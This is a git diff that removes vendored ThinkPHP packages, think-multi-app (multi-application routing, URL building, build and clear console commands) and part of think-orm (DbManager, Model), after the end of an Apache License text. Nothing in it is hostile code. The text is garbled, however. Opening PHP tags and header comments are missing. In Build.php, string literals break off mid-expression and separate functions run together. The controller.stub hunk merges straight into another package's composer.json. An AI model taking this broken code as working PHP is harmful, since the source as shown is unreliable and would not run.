Warranty or Additional Liability. While redistributing - the Work or Derivative Works thereof, You may choose to offer, - and charge a fee for, acceptance of support, warranty, indemnity, - or other liability obligations and/or rights consistent with this - License. However, in accepting such obligations, You may act only - on Your own behalf and on Your sole responsibility, not on behalf - of any other Contributor, and only if You agree to indemnify, - defend, and hold each Contributor harmless for any liability - incurred by, or claims asserted against, such Contributor by reason - of your accepting any such warranty or additional liability. - - END OF TERMS AND CONDITIONS - - APPENDIX: How to apply the Apache License to your work. - - To apply the Apache License to your work, attach the following - boilerplate notice, with the fields enclosed by brackets "[]" - replaced with your own identifying information. (Don't include - the brackets!) The text should be enclosed in the appropriate - comment syntax for the file format. We also recommend that a - file or class name and description of purpose be included on the - same "printed page" as the copyright notice for easier - identification within third-party archives. - - Copyright [yyyy] [name of copyright owner] - - Licensed under the Apache License, Version 2.0 (the "License"); - you may not use this file except in compliance with the License. - You may obtain a copy of the License at - - http://www.apache.org/licenses/LICENSE-2.0 - - Unless required by applicable law or agreed to in writing, software - distributed under the License is distributed on an "AS IS" BASIS, - WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - See the License for the specific language governing permissions and - limitations under the License. diff --git a/vendor/topthink/think-multi-app/README.md b/vendor/topthink/think-multi-app/README.md deleted file mode 100644 index a746fa7..0000000 --- a/vendor/topthink/think-multi-app/README.md +++ /dev/null @@ -1,14 +0,0 @@ -# think-multi-app - -用于ThinkPHP6+的多应用支持 - -## 安装 - -~~~ -composer require topthink/think-multi-app -~~~ - -## 使用 - -用法参考ThinkPHP6完全开发手册[多应用模式](https://www.kancloud.cn/manual/thinkphp6_0/1297876)章节。 - diff --git a/vendor/topthink/think-multi-app/composer.json b/vendor/topthink/think-multi-app/composer.json deleted file mode 100644 index 92d620e..0000000 --- a/vendor/topthink/think-multi-app/composer.json +++ /dev/null @@ -1,28 +0,0 @@ -{ - "name": "topthink/think-multi-app", - "description": "thinkphp6 multi app support", - "license": "Apache-2.0", - "authors": [ - { - "name": "liu21st", - "email": "liu21st@gmail.com" - } - ], - "require": { - "php": ">=7.1.0", - "topthink/framework": "^6.0.0" - }, - "autoload": { - "psr-4": { - "think\\app\\": "src" - } - }, - "extra": { - "think":{ - "services":[ - "think\\app\\Service" - ] - } - }, - "minimum-stability": "dev" -} diff --git a/vendor/topthink/think-multi-app/src/MultiApp.php b/vendor/topthink/think-multi-app/src/MultiApp.php deleted file mode 100644 index b0ac260..0000000 --- a/vendor/topthink/think-multi-app/src/MultiApp.php +++ /dev/null @@ -1,245 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think\app; - -use Closure; -use think\App; -use think\exception\HttpException; -use think\Request; -use think\Response; - -/** - * 多应用模式支持 - */ -class MultiApp -{ - - /** @var App */ - protected $app; - - /** - * 应用名称 - * @var string - */ - protected $name; - - /** - * 应用名称 - * @var string - */ - protected $appName; - - /** - * 应用路径 - * @var string - */ - protected $path; - - public function __construct(App $app) - { - $this->app = $app; - $this->name = $this->app->http->getName(); - $this->path = $this->app->http->getPath(); - } - - /** - * 多应用解析 - * @access public - * @param Request $request - * @param Closure $next - * @return Response - */ - public function handle($request, Closure $next) - { - if (!$this->parseMultiApp()) { - return $next($request); - } - - return $this->app->middleware->pipeline('app') - ->send($request) - ->then(function ($request) use ($next) { - return $next($request); - }); - } - - /** - * 获取路由目录 - * @access protected - * @return string - */ - protected function getRoutePath(): string - { - return $this->app->getAppPath() . 'route' . DIRECTORY_SEPARATOR; - } - - /** - * 解析多应用 - * @return bool - */ - protected function parseMultiApp(): bool - { - $scriptName = $this->getScriptName(); - $defaultApp = $this->app->config->get('app.default_app') ?: 'index'; - - if ($this->name || ($scriptName && !in_array($scriptName, ['index', 'router', 'think']))) { - $appName = $this->name ?: $scriptName; - $this->app->http->setBind(); - } else { - // 自动多应用识别 - $this->app->http->setBind(false); - $appName = null; - $this->appName = ''; - - $bind = $this->app->config->get('app.domain_bind', []); - - if (!empty($bind)) { - // 获取当前子域名 - $subDomain = $this->app->request->subDomain(); - $domain = $this->app->request->host(true); - - if (isset($bind[$domain])) { - $appName = $bind[$domain]; - $this->app->http->setBind(); - } elseif (isset($bind[$subDomain])) { - $appName = $bind[$subDomain]; - $this->app->http->setBind(); - } elseif (isset($bind['*'])) { - $appName = $bind['*']; - $this->app->http->setBind(); - } - } - - if (!$this->app->http->isBind()) { - $path = $this->app->request->pathinfo(); - $map = $this->app->config->get('app.app_map', []); - $deny = $this->app->config->get('app.deny_app_list', []); - $name = current(explode('/', $path)); - - if (strpos($name, '.')) { - $name = strstr($name, '.', true); - } - - if (isset($map[$name])) { - if ($map[$name] instanceof Closure) { - $result = call_user_func_array($map[$name], [$this->app]); - $appName = $result ?: $name; - } else { - $appName = $map[$name]; - } - } elseif ($name && (false !== array_search($name, $map) || in_array($name, $deny))) { - throw new HttpException(404, 'app not exists:' . $name); - } elseif ($name && isset($map['*'])) { - $appName = $map['*']; - } else { - $appName = $name ?: $defaultApp; - $appPath = $this->path ?: $this->app->getBasePath() . $appName . DIRECTORY_SEPARATOR; - - if (!is_dir($appPath)) { - $express = $this->app->config->get('app.app_express', false); - if ($express) { - $this->setApp($defaultApp); - return true; - } else { - return false; - } - } - } - - if ($name) { - $this->app->request->setRoot('/' . $name); - $this->app->request->setPathinfo(strpos($path, '/') ? ltrim(strstr($path, '/'), '/') : ''); - } - } - } - - $this->setApp($appName ?: $defaultApp); - return true; - } - - /** - * 获取当前运行入口名称 - * @access protected - * @codeCoverageIgnore - * @return string - */ - protected function getScriptName(): string - { - if (isset($_SERVER['SCRIPT_FILENAME'])) { - $file = $_SERVER['SCRIPT_FILENAME']; - } elseif (isset($_SERVER['argv'][0])) { - $file = realpath($_SERVER['argv'][0]); - } - - return isset($file) ? pathinfo($file, PATHINFO_FILENAME) : ''; - } - - /** - * 设置应用 - * @param string $appName - */ - protected function setApp(string $appName): void - { - $this->appName = $appName; - $this->app->http->name($appName); - - $appPath = $this->path ?: $this->app->getBasePath() . $appName . DIRECTORY_SEPARATOR; - - $this->app->setAppPath($appPath); - // 设置应用命名空间 - $this->app->setNamespace($this->app->config->get('app.app_namespace') ?: 'app\\' . $appName); - - if (is_dir($appPath)) { - $this->app->setRuntimePath($this->app->getRuntimePath() . $appName . DIRECTORY_SEPARATOR); - $this->app->http->setRoutePath($this->getRoutePath()); - - //加载应用 - $this->loadApp($appName, $appPath); - } - } - - /** - * 加载应用文件 - * @param string $appName 应用名 - * @return void - */ - protected function loadApp(string $appName, string $appPath): void - { - if (is_file($appPath . 'common.php')) { - include_once $appPath . 'common.php'; - } - - $files = []; - - $files = array_merge($files, glob($appPath . 'config' . DIRECTORY_SEPARATOR . '*' . $this->app->getConfigExt())); - - foreach ($files as $file) { - $this->app->config->load($file, pathinfo($file, PATHINFO_FILENAME)); - } - - if (is_file($appPath . 'event.php')) { - $this->app->loadEvent(include $appPath . 'event.php'); - } - - if (is_file($appPath . 'middleware.php')) { - $this->app->middleware->import(include $appPath . 'middleware.php', 'app'); - } - - if (is_file($appPath . 'provider.php')) { - $this->app->bind(include $appPath . 'provider.php'); - } - - // 加载应用默认语言包 - $this->app->loadLangPack($this->app->lang->defaultLangSet()); - } - -} diff --git a/vendor/topthink/think-multi-app/src/Service.php b/vendor/topthink/think-multi-app/src/Service.php deleted file mode 100644 index 22b8532..0000000 --- a/vendor/topthink/think-multi-app/src/Service.php +++ /dev/null @@ -1,32 +0,0 @@ - -// +---------------------------------------------------------------------- -namespace think\app; - -use think\Service as BaseService; - -class Service extends BaseService -{ - public function boot() - { - $this->app->event->listen('HttpRun', function () { - $this->app->middleware->add(MultiApp::class); - }); - - $this->commands([ - 'build' => command\Build::class, - 'clear' => command\Clear::class, - ]); - - $this->app->bind([ - 'think\route\Url' => Url::class, - ]); - } -} diff --git a/vendor/topthink/think-multi-app/src/Url.php b/vendor/topthink/think-multi-app/src/Url.php deleted file mode 100644 index 7bd6057..0000000 --- a/vendor/topthink/think-multi-app/src/Url.php +++ /dev/null @@ -1,232 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think\app; - -use think\App; -use think\Route; -use think\route\Url as UrlBuild; - -/** - * 路由地址生成 - */ -class Url extends UrlBuild -{ - /** - * 直接解析URL地址 - * @access protected - * @param string $url URL - * @param string|bool $domain Domain - * @return string - */ - protected function parseUrl(string $url, &$domain): string - { - $request = $this->app->request; - - if (0 === strpos($url, '/')) { - // 直接作为路由地址解析 - $url = substr($url, 1); - } elseif (false !== strpos($url, '\\')) { - // 解析到类 - $url = ltrim(str_replace('\\', '/', $url), '/'); - } elseif (0 === strpos($url, '@')) { - // 解析到控制器 - $url = substr($url, 1); - } elseif ('' === $url) { - $url = $this->getAppName() . '/' . $request->controller() . '/' . $request->action(); - } else { - // 解析到 应用/控制器/操作 - $controller = $request->controller(); - $app = $this->getAppName(); - $path = explode('/', $url); - $action = array_pop($path); - $controller = empty($path) ? $controller : array_pop($path); - $app = empty($path) ? $app : array_pop($path); - $url = $controller . '/' . $action; - $bind = $this->app->config->get('app.domain_bind', []); - - if ($key = array_search($this->app->http->getName(), $bind)) { - isset($bind[$_SERVER['SERVER_NAME']]) && $domain = $_SERVER['SERVER_NAME']; - - $domain = is_bool($domain) ? $key : $domain; - } else { - $url = $app . '/' . $url; - } - } - - return $url; - } - - public function build() - { - // 解析URL - $url = $this->url; - $suffix = $this->suffix; - $domain = $this->domain; - $request = $this->app->request; - $vars = $this->vars; - - if (0 === strpos($url, '[') && $pos = strpos($url, ']')) { - // [name] 表示使用路由命名标识生成URL - $name = substr($url, 1, $pos - 1); - $url = 'name' . substr($url, $pos + 1); - } - - if (false === strpos($url, '://') && 0 !== strpos($url, '/')) { - $info = parse_url($url); - $url = !empty($info['path']) ? $info['path'] : ''; - - if (isset($info['fragment'])) { - // 解析锚点 - $anchor = $info['fragment']; - - if (false !== strpos($anchor, '?')) { - // 解析参数 - list($anchor, $info['query']) = explode('?', $anchor, 2); - } - - if (false !== strpos($anchor, '@')) { - // 解析域名 - list($anchor, $domain) = explode('@', $anchor, 2); - } - } elseif (strpos($url, '@') && false === strpos($url, '\\')) { - // 解析域名 - list($url, $domain) = explode('@', $url, 2); - } - } - - if ($url) { - $checkName = isset($name) ? $name : $url . (isset($info['query']) ? '?' . $info['query'] : ''); - $checkDomain = $domain && is_string($domain) ? $domain : null; - - $rule = $this->route->getName($checkName, $checkDomain); - - if (empty($rule) && isset($info['query'])) { - $rule = $this->route->getName($url, $checkDomain); - // 解析地址里面参数 合并到vars - parse_str($info['query'], $params); - $vars = array_merge($params, $vars); - unset($info['query']); - } - } - - if (!empty($rule) && $match = $this->getRuleUrl($rule, $vars, $domain)) { - // 匹配路由命名标识 - $url = $match[0]; - - if ($domain && !empty($match[1])) { - $domain = $match[1]; - } - - if (!is_null($match[2])) { - $suffix = $match[2]; - } - - if (!$this->app->http->isBind()) { - $app = $this->getAppName(); - $url = $app . '/' . $url; - } - } elseif (!empty($rule) && isset($name)) { - throw new \InvalidArgumentException('route name not exists:' . $name); - } else { - // 检测URL绑定 - $bind = $this->route->getDomainBind($domain && is_string($domain) ? $domain : null); - - if ($bind && 0 === strpos($url, $bind)) { - $url = substr($url, strlen($bind) + 1); - } else { - $binds = $this->route->getBind(); - - foreach ($binds as $key => $val) { - if (is_string($val) && 0 === strpos($url, $val) && substr_count($val, '/') > 1) { - $url = substr($url, strlen($val) + 1); - $domain = $key; - break; - } - } - } - - // 路由标识不存在 直接解析 - $url = $this->parseUrl($url, $domain); - - if (isset($info['query'])) { - // 解析地址里面参数 合并到vars - parse_str($info['query'], $params); - $vars = array_merge($params, $vars); - } - } - - // 还原URL分隔符 - $depr = $this->route->config('pathinfo_depr'); - $url = str_replace('/', $depr, $url); - - $file = $request->baseFile(); - if ($file && 0 !== strpos($request->url(), $file)) { - $file = str_replace('\\', '/', dirname($file)); - } - - $url = rtrim($file, '/') . '/' . ltrim($url, '/'); - - // URL后缀 - if ('/' == substr($url, -1) || '' == $url) { - $suffix = ''; - } else { - $suffix = $this->parseSuffix($suffix); - } - - // 锚点 - $anchor = !empty($anchor) ? '#' . $anchor : ''; - - // 参数组装 - if (!empty($vars)) { - // 添加参数 - if ($this->route->config('url_common_param')) { - $vars = http_build_query($vars); - $url .= $suffix . '?' . $vars . $anchor; - } else { - foreach ($vars as $var => $val) { - $val = (string) $val; - if ('' !== $val) { - $url .= $depr . $var . $depr . urlencode($val); - } - } - - $url .= $suffix . $anchor; - } - } else { - $url .= $suffix . $anchor; - } - - // 检测域名 - $domain = $this->parseDomain($url, $domain); - - // URL组装 - return $domain . rtrim($this->root, '/') . '/' . ltrim($url, '/'); - } - - /** - * 获取URL的应用名 - * @access protected - * @return string - */ - protected function getAppName() - { - $app = $this->app->http->getName(); - $map = $this->app->config->get('app.app_map', []); - - if ($key = array_search($app, $map)) { - $app = $key; - } - - return $app; - } -} diff --git a/vendor/topthink/think-multi-app/src/command/Build.php b/vendor/topthink/think-multi-app/src/command/Build.php deleted file mode 100644 index 65b2f87..0000000 --- a/vendor/topthink/think-multi-app/src/command/Build.php +++ /dev/null @@ -1,180 +0,0 @@ - -// +---------------------------------------------------------------------- - -namespace think\app\command; - -use think\console\Command; -use think\console\Input; -use think\console\input\Argument; -use think\console\Output; - -class Build extends Command -{ - /** - * 应用基础目录 - * @var string - */ - protected $basePath; - - /** - * {@inheritdoc} - */ - protected function configure() - { - $this->setName('build') - ->addArgument('app', Argument::OPTIONAL, 'app name .') - ->setDescription('Build App Dirs'); - } - - protected function execute(Input $input, Output $output) - { - $this->basePath = $this->app->getBasePath(); - $app = $input->getArgument('app') ?: ''; - - if (is_file($this->basePath . 'build.php')) { - $list = include $this->basePath . 'build.php'; - } else { - $list = [ - '__dir__' => ['controller', 'model', 'view'], - ]; - } - - $this->buildApp($app, $list); - $output->writeln("Successed"); - - } - - /** - * 创建应用 - * @access protected - * @param string $app 应用名 - * @param array $list 目录结构 - * @return void - */ - protected function buildApp(string $app, array $list = []): void - { - if (!is_dir($this->basePath . $app)) { - // 创建应用目录 - mkdir($this->basePath . $app); - } - - $appPath = $this->basePath . ($app ? $app . DIRECTORY_SEPARATOR : ''); - $namespace = 'app' . ($app ? '\\' . $app : ''); - - // 创建配置文件和公共文件 - $this->buildCommon($app); - // 创建模块的默认页面 - $this->buildHello($app, $namespace); - - foreach ($list as $path => $file) { - if ('__dir__' == $path) { - // 生成子目录 - foreach ($file as $dir) { - $this->checkDirBuild($appPath . $dir); - } - } elseif ('__file__' == $path) { - // 生成(空白)文件 - foreach ($file as $name) { - if (!is_file($appPath . $name)) { - file_put_contents($appPath . $name, 'php' == pathinfo($name, PATHINFO_EXTENSION) ? 'app->config->get('route.controller_suffix')) { - $filename = $appPath . $path . DIRECTORY_SEPARATOR . $val . 'Controller.php'; - $class = $val . 'Controller'; - } - $content = "checkDirBuild(dirname($filename)); - $content = ''; - break; - default: - // 其他文件 - $content = "app->config->get('route.controller_suffix') ? 'Controller' : ''; - $filename = $this->basePath . ($app ? $app . DIRECTORY_SEPARATOR : '') . 'controller' . DIRECTORY_SEPARATOR . 'Index' . $suffix . '.php'; - - if (!is_file($filename)) { - $content = file_get_contents(__DIR__ . DIRECTORY_SEPARATOR . 'stubs' . DIRECTORY_SEPARATOR . 'controller.stub'); - $content = str_replace(['{%name%}', '{%app%}', '{%layer%}', '{%suffix%}'], [$app, $namespace, 'controller', $suffix], $content); - $this->checkDirBuild(dirname($filename)); - - file_put_contents($filename, $content); - } - } - - /** - * 创建应用的公共文件 - * @access protected - * @param string $app 目录 - * @return void - */ - protected function buildCommon(string $app): void - { - $appPath = $this->basePath . ($app ? $app . DIRECTORY_SEPARATOR : ''); - - if (!is_file($appPath . 'common.php')) { - file_put_contents($appPath . 'common.php', " -// +---------------------------------------------------------------------- -namespace think\app\command; - -use think\console\Command; -use think\console\Input; -use think\console\input\Argument; -use think\console\input\Option; -use think\console\Output; - -class Clear extends Command -{ - protected function configure() - { - // 指令配置 - $this->setName('clear') - ->addArgument('app', Argument::OPTIONAL, 'app name .') - ->addOption('cache', 'c', Option::VALUE_NONE, 'clear cache file') - ->addOption('log', 'l', Option::VALUE_NONE, 'clear log file') - ->addOption('dir', 'r', Option::VALUE_NONE, 'clear empty dir') - ->setDescription('Clear runtime file'); - } - - protected function execute(Input $input, Output $output) - { - $app = $input->getArgument('app') ?: ''; - $runtimePath = $this->app->getRootPath() . 'runtime' . DIRECTORY_SEPARATOR . ($app ? $app . DIRECTORY_SEPARATOR : ''); - - if ($input->getOption('cache')) { - $path = $runtimePath . 'cache'; - } elseif ($input->getOption('log')) { - $path = $runtimePath . 'log'; - } else { - $path = $runtimePath; - } - - $rmdir = $input->getOption('dir') ? true : false; - $this->clear(rtrim($path, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR, $rmdir); - - $output->writeln("Clear Successed"); - } - - protected function clear(string $path, bool $rmdir): void - { - $files = is_dir($path) ? scandir($path) : []; - - foreach ($files as $file) { - if ('.' != $file && '..' != $file && is_dir($path . $file)) { - array_map('unlink', glob($path . $file . DIRECTORY_SEPARATOR . '*.*')); - if ($rmdir) { - rmdir($path . $file); - } - } elseif ('.gitignore' != $file && is_file($path . $file)) { - unlink($path . $file); - } - } - } -} diff --git a/vendor/topthink/think-multi-app/src/command/stubs/controller.stub b/vendor/topthink/think-multi-app/src/command/stubs/controller.stub deleted file mode 100644 index 263c4c6..0000000 --- a/vendor/topthink/think-multi-app/src/command/stubs/controller.stub +++ /dev/null @@ -1,12 +0,0 @@ -=7.1.0", - "ext-json": "*", - "psr/simple-cache": "^1.0", - "psr/log": "~1.0", - "topthink/think-helper":"^3.1" - }, - "autoload": { - "psr-4": { - "think\\": "src" - }, - "files": [] - } -} diff --git a/vendor/topthink/think-orm/src/DbManager.php b/vendor/topthink/think-orm/src/DbManager.php deleted file mode 100644 index 414706a..0000000 --- a/vendor/topthink/think-orm/src/DbManager.php +++ /dev/null @@ -1,396 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think; - -use InvalidArgumentException; -use Psr\Log\LoggerInterface; -use Psr\SimpleCache\CacheInterface; -use think\db\BaseQuery; -use think\db\ConnectionInterface; -use think\db\Query; -use think\db\Raw; - -/** - * Class DbManager - * @package think - * @mixin BaseQuery - * @mixin Query - */ -class DbManager -{ - /** - * 数据库连接实例 - * @var array - */ - protected $instance = []; - - /** - * 数据库配置 - * @var array - */ - protected $config = []; - - /** - * Event对象或者数组 - * @var array|object - */ - protected $event; - - /** - * SQL监听 - * @var array - */ - protected $listen = []; - - /** - * SQL日志 - * @var array - */ - protected $dbLog = []; - - /** - * 查询次数 - * @var int - */ - protected $queryTimes = 0; - - /** - * 查询缓存对象 - * @var CacheInterface - */ - protected $cache; - - /** - * 查询日志对象 - * @var LoggerInterface - */ - protected $log; - - /** - * 架构函数 - * @access public - */ - public function __construct() - { - $this->modelMaker(); - } - - /** - * 注入模型对象 - * @access public - * @return void - */ - protected function modelMaker() - { - $this->triggerSql(); - - Model::setDb($this); - - if (is_object($this->event)) { - Model::setEvent($this->event); - } - - Model::maker(function (Model $model) { - $isAutoWriteTimestamp = $model->getAutoWriteTimestamp(); - - if (is_null($isAutoWriteTimestamp)) { - // 自动写入时间戳 - $model->isAutoWriteTimestamp($this->getConfig('auto_timestamp', true)); - } - - $dateFormat = $model->getDateFormat(); - - if (is_null($dateFormat)) { - // 设置时间戳格式 - $model->setDateFormat($this->getConfig('datetime_format', 'Y-m-d H:i:s')); - } - }); - } - - /** - * 监听SQL - * @access protected - * @return void - */ - protected function triggerSql(): void - { - // 监听SQL - $this->listen(function ($sql, $time, $master) { - if (0 === strpos($sql, 'CONNECT:')) { - $this->log($sql); - return; - } - - // 记录SQL - if (is_bool($master)) { - // 分布式记录当前操作的主从 - $master = $master ? 'master|' : 'slave|'; - } else { - $master = ''; - } - - $this->log($sql . ' [ ' . $master . 'RunTime:' . $time . 's ]'); - }); - } - - /** - * 初始化配置参数 - * @access public - * @param array $config 连接配置 - * @return void - */ - public function setConfig($config): void - { - $this->config = $config; - } - - /** - * 设置缓存对象 - * @access public - * @param CacheInterface $cache 缓存对象 - * @return void - */ - public function setCache(CacheInterface $cache): void - { - $this->cache = $cache; - } - - /** - * 设置日志对象 - * @access public - * @param LoggerInterface $log 日志对象 - * @return void - */ - public function setLog(LoggerInterface $log): void - { - $this->log = $log; - } - - /** - * 记录SQL日志 - * @access protected - * @param string $log SQL日志信息 - * @param string $type 日志类型 - * @return void - */ - public function log(string $log, string $type = 'sql') - { - if ($this->log) { - $this->log->log($type, $log); - } else { - $this->dbLog[$type][] = $log; - } - } - - /** - * 获得查询日志(没有设置日志对象使用) - * @access public - * @param bool $clear 是否清空 - * @return array - */ - public function getDbLog(bool $clear = false): array - { - $logs = $this->dbLog; - if ($clear) { - $this->dbLog = []; - } - - return $logs; - } - - /** - * 获取配置参数 - * @access public - * @param string $name 配置参数 - * @param mixed $default 默认值 - * @return mixed - */ - public function getConfig(string $name = '', $default = null) - { - if ('' === $name) { - return $this->config; - } - - return $this->config[$name] ?? $default; - } - - /** - * 创建/切换数据库连接查询 - * @access public - * @param string|null $name 连接配置标识 - * @param bool $force 强制重新连接 - * @return ConnectionInterface - */ - public function connect(string $name = null, bool $force = false) - { - return $this->instance($name, $force); - } - - /** - * 创建数据库连接实例 - * @access protected - * @param string|null $name 连接标识 - * @param bool $force 强制重新连接 - * @return ConnectionInterface - */ - protected function instance(string $name = null, bool $force = false): ConnectionInterface - { - if (empty($name)) { - $name = $this->getConfig('default', 'mysql'); - } - - if ($force || !isset($this->instance[$name])) { - $this->instance[$name] = $this->createConnection($name); - } - - return $this->instance[$name]; - } - - /** - * 获取连接配置 - * @param string $name - * @return array - */ - protected function getConnectionConfig(string $name): array - { - $connections = $this->getConfig('connections'); - if (!isset($connections[$name])) { - throw new InvalidArgumentException('Undefined db config:' . $name); - } - - return $connections[$name]; - } - - /** - * 创建连接 - * @param $name - * @return ConnectionInterface - */ - protected function createConnection(string $name): ConnectionInterface - { - $config = $this->getConnectionConfig($name); - - $type = !empty($config['type']) ? $config['type'] : 'mysql'; - - if (false !== strpos($type, '\\')) { - $class = $type; - } else { - $class = '\\think\\db\\connector\\' . ucfirst($type); - } - - /** @var ConnectionInterface $connection */ - $connection = new $class($config); - $connection->setDb($this); - - if ($this->cache) { - $connection->setCache($this->cache); - } - - return $connection; - } - - /** - * 使用表达式设置数据 - * @access public - * @param string $value 表达式 - * @return Raw - */ - public function raw(string $value): Raw - { - return new Raw($value); - } - - /** - * 更新查询次数 - * @access public - * @return void - */ - public function updateQueryTimes(): void - { - $this->queryTimes++; - } - - /** - * 重置查询次数 - * @access public - * @return void - */ - public function clearQueryTimes(): void - { - $this->queryTimes = 0; - } - - /** - * 获得查询次数 - * @access public - * @return integer - */ - public function getQueryTimes(): int - { - return $this->queryTimes; - } - - /** - * 监听SQL执行 - * @access public - * @param callable $callback 回调方法 - * @return void - */ - public function listen(callable $callback): void - { - $this->listen[] = $callback; - } - - /** - * 获取监听SQL执行 - * @access public - * @return array - */ - public function getListen(): array - { - return $this->listen; - } - - /** - * 注册回调方法 - * @access public - * @param string $event 事件名 - * @param callable $callback 回调方法 - * @return void - */ - public function event(string $event, callable $callback): void - { - $this->event[$event][] = $callback; - } - - /** - * 触发事件 - * @access public - * @param string $event 事件名 - * @param mixed $params 传入参数 - * @return mixed - */ - public function trigger(string $event, $params = null) - { - if (isset($this->event[$event])) { - foreach ($this->event[$event] as $callback) { - call_user_func_array($callback, [$this]); - } - } - } - - public function __call($method, $args) - { - return call_user_func_array([$this->connect(), $method], $args); - } -} diff --git a/vendor/topthink/think-orm/src/Model.php b/vendor/topthink/think-orm/src/Model.php deleted file mode 100644 index 7d92bd2..0000000 --- a/vendor/topthink/think-orm/src/Model.php +++ /dev/null @@ -1,1060 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think; - -use ArrayAccess; -use Closure; -use JsonSerializable; -use think\contract\Arrayable; -use think\contract\Jsonable; -use think\db\BaseQuery as Query; - -/** - * Class Model - * @package think - * @mixin Query - * @method void onAfterRead(Model $model) static after_read事件定义 - * @method mixed onBeforeInsert(Model $model) static before_insert事件定义 - * @method void onAfterInsert(Model $model) static after_insert事件定义 - * @method mixed onBeforeUpdate(Model $model) static before_update事件定义 - * @method void onAfterUpdate(Model $model) static after_update事件定义 - * @method mixed onBeforeWrite(Model $model) static before_write事件定义 - * @method void onAfterWrite(Model $model) static after_write事件定义 - * @method mixed onBeforeDelete(Model $model) static before_write事件定义 - * @method void onAfterDelete(Model $model) static after_delete事件定义 - * @method void onBeforeRestore(Model $model) static before_restore事件定义 - * @method void onAfterRestore(Model $model) static after_restore事件定义 - */ -abstract class Model implements JsonSerializable, ArrayAccess, Arrayable, Jsonable -{ - use model\concern\Attribute; - use model\concern\RelationShip; - use model\concern\ModelEvent; - use model\concern\TimeStamp; - use model\concern\Conversion; - - /** - * 数据是否存在 - * @var bool - */ - private $exists = false; - - /** - * 是否强制更新所有数据 - * @var bool - */ - private $force = false; - - /** - * 是否Replace - * @var bool - */ - private $replace = false; - - /** - * 数据表后缀 - * @var string - */ - protected $suffix; - - /** - * 更新条件 - * @var array - */ - private $updateWhere; - - /** - * 数据库配置 - * @var string - */ - protected $connection; - - /** - * 模型名称 - * @var string - */ - protected $name; - - /** - * 主键值 - * @var string - */ - protected $key; - - /** - * 数据表名称 - * @var string - */ - protected $table; - - /** - * 初始化过的模型. - * @var array - */ - protected static $initialized = []; - - /** - * 软删除字段默认值 - * @var mixed - */ - protected $defaultSoftDelete; - - /** - * 全局查询范围 - * @var array - */ - protected $globalScope = []; - - /** - * 延迟保存信息 - * @var bool - */ - private $lazySave = false; - - /** - * Db对象 - * @var DbManager - */ - protected static $db; - - /** - * 容器对象的依赖注入方法 - * @var callable - */ - protected static $invoker; - - /** - * 服务注入 - * @var Closure[] - */ - protected static $maker = []; - - /** - * 方法注入 - * @var Closure[][] - */ - protected static $macro = []; - - /** - * 设置服务注入 - * @access public - * @param Closure $maker - * @return void - */ - public static function maker(Closure $maker) - { - static::$maker[] = $maker; - } - - /** - * 设置方法注入 - * @access public - * @param string $method - * @param Closure $closure - * @return void - */ - public static function macro(string $method, Closure $closure) - { - if (!isset(static::$macro[static::class])) { - static::$macro[static::class] = []; - } - static::$macro[static::class][$method] = $closure; - } - - /** - * 设置Db对象 - * @access public - * @param DbManager $db Db对象 - * @return void - */ - public static function setDb(DbManager $db) - { - self::$db = $db; - } - - /** - * 设置容器对象的依赖注入方法 - * @access public - * @param callable $callable 依赖注入方法 - * @return void - */ - public static function setInvoker(callable $callable): void - { - self::$invoker = $callable; - } - - /** - * 调用反射执行模型方法 支持参数绑定 - * @access public - * @param mixed $method - * @param array $vars 参数 - * @return mixed - */ - public function invoke($method, array $vars = []) - { - if (self::$invoker) { - $call = self::$invoker; - return $call($method instanceof Closure ? $method : Closure::fromCallable([$this, $method]), $vars); - } - - return call_user_func_array($method instanceof Closure ? $method : [$this, $method], $vars); - } - - /** - * 架构函数 - * @access public - * @param array $data 数据 - */ - public function __construct(array $data = []) - { - $this->data = $data; - - if (!empty($this->data)) { - // 废弃字段 - foreach ((array) $this->disuse as $key) { - if (array_key_exists($key, $this->data)) { - unset($this->data[$key]); - } - } - } - - // 记录原始数据 - $this->origin = $this->data; - - if (empty($this->name)) { - // 当前模型名 - $name = str_replace('\\', '/', static::class); - $this->name = basename($name); - } - - if (!empty(static::$maker)) { - foreach (static::$maker as $maker) { - call_user_func($maker, $this); - } - } - - // 执行初始化操作 - $this->initialize(); - } - - /** - * 获取当前模型名称 - * @access public - * @return string - */ - public function getName(): string - { - return $this->name; - } - - /** - * 创建新的模型实例 - * @access public - * @param array $data 数据 - * @param mixed $where 更新条件 - * @return Model - */ - public function newInstance(array $data = [], $where = null): Model - { - $model = new static($data); - - if ($this->connection) { - $model->setConnection($this->connection); - } - - if ($this->suffix) { - $model->setSuffix($this->suffix); - } - - if (empty($data)) { - return $model; - } - - $model->exists(true); - - $model->setUpdateWhere($where); - - $model->trigger('AfterRead'); - - return $model; - } - - /** - * 设置模型的更新条件 - * @access protected - * @param mixed $where 更新条件 - * @return void - */ - protected function setUpdateWhere($where): void - { - $this->updateWhere = $where; - } - - /** - * 设置当前模型的数据库连接 - * @access public - * @param string $connection 数据表连接标识 - * @return $this - */ - public function setConnection(string $connection) - { - $this->connection = $connection; - return $this; - } - - /** - * 获取当前模型的数据库连接标识 - * @access public - * @return string - */ - public function getConnection(): string - { - return $this->connection ?: ''; - } - - /** - * 设置当前模型数据表的后缀 - * @access public - * @param string $suffix 数据表后缀 - * @return $this - */ - public function setSuffix(string $suffix) - { - $this->suffix = $suffix; - return $this; - } - - /** - * 获取当前模型的数据表后缀 - * @access public - * @return string - */ - public function getSuffix(): string - { - return $this->suffix ?: ''; - } - - /** - * 获取当前模型的数据库查询对象 - * @access public - * @param array $scope 设置不使用的全局查询范围 - * @return Query - */ - public function db($scope = []): Query - { - /** @var Query $query */ - $query = self::$db->connect($this->connection) - ->name($this->name . $this->suffix) - ->pk($this->pk); - - if (!empty($this->table)) { - $query->table($this->table . $this->suffix); - } - - $query->model($this) - ->json($this->json, $this->jsonAssoc) - ->setFieldType(array_merge($this->schema, $this->jsonType)); - - // 软删除 - if (property_exists($this, 'withTrashed') && !$this->withTrashed) { - $this->withNoTrashed($query); - } - - // 全局作用域 - if (is_array($scope)) { - $globalScope = array_diff($this->globalScope, $scope); - $query->scope($globalScope); - } - - // 返回当前模型的数据库查询对象 - return $query; - } - - /** - * 初始化模型 - * @access private - * @return void - */ - private function initialize(): void - { - if 